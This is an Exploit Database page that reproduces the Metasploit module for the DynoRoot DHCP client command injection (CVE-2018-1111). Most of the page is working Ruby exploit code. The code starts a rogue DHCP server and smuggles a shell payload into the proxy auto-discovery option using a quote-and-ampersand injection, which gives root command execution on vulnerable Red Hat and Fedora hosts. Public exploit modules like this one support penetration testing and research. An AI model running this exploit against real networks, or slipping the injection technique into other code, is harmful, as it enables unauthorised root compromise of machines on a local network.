DHCP Client – Command Injection ‘DynoRoot’ (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2018-06-13
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44890/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::DHCPServer
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'DHCP Client Command Injection (DynoRoot)',
  'Description'=> %q{
  This module exploits the DynoRoot vulnerability, a flaw in how the
   NetworkManager integration script included in the DHCP client in
   Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
   processes DHCP options. A malicious DHCP server, or an attacker on
   the local network able to spoof DHCP responses, could use this flaw
   to execute arbitrary commands with root privileges on systems using
   NetworkManager and configured to obtain network configuration using
   the DHCP protocol.
  },
  'Author' =>
  [
  'Felix Wilhelm', # Vulnerability discovery
  'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'Platform' => ['unix'],
  'Arch' => ARCH_CMD,
  'Privileged' => true,
  'References' =>
  [
  ['AKA', 'DynoRoot'],
  ['CVE', '2018-1111'],
  ['EDB': '44652'],
  ['URL', 'https://github.com/kkirsche/CVE-2018-1111'],
  ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'],
  ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],
  ['URL', 'https://dynoroot.ninja/'],
  ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
  ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
  ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
  ],
  'Targets'=> [ [ 'Automatic Target', { }] ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'May 15 2018'
  ))
  
  deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')
  end
  
  def exploit
  hash = datastore.copy
  start_service(hash)
  @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #")
  
  begin
  while @dhcp.thread.alive?
  sleep 2
  end
  ensure
  stop_service
  end
  end
  end